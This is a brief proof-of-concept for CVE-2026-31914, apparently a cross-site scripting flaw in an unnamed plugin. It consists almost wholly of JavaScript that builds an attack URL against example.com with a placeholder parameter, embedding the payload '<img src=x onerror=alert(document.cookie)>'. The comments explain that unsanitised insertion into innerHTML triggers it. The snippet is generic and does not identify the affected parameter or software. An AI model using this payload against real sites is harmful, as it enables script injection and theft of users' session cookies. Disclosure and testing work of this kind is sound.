CVE-2026-31914

// Proof of Concept for CVE-2026-31914 // This example assumes a vulnerable parameter reflects into the DOM var maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Construct the attack URL (replace 'vulnerable_param' with actual parameter if known) var targetUrl = 'https://example.com/?vulnerable_param=' + encodeURIComponent(maliciousPayload); console.log('Attack URL:', targetUrl); // If the plugin takes this input and places it into innerHTML without sanitization, // the alert box will trigger, demonstrating the XSS vulnerability.
